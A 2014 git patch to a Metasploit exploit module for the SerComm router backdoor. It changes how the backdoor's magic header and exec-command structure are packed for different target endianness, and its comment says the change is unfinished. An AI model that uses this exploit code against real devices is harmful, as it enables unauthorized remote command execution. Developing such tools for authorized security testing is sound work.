From 24c57b34a728708609808ba09451075944056285 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Jan 2014 15:04:23 -0600 Subject: [PATCH] Have into account endianess --- modules/exploits/linux/misc/sercomm_exec.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 12e05193c4..785564eac5 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -109,7 +109,13 @@ class Metasploit3 < Msf::Exploit::Remote # 0x53634d4d => Backdoor code # 0x07 => Exec command # cmd_length => Length of command to execute, sent after communication struct - data = [0x53634d4d, 0x07, cmd_length].pack("VVV") + # According to @mandreko, probably targets specifics must be had into account + # when dealing with the target endiangess... work in progress + if target.arch.include?(ARCH_MIPSBE) + data = [0x4d4d6353, 0x07, cmd_length].pack("NVV") + else + data = [0x4d4d6353, 0x07, cmd_length].pack("VNN") + end connect # Send command structure followed by command text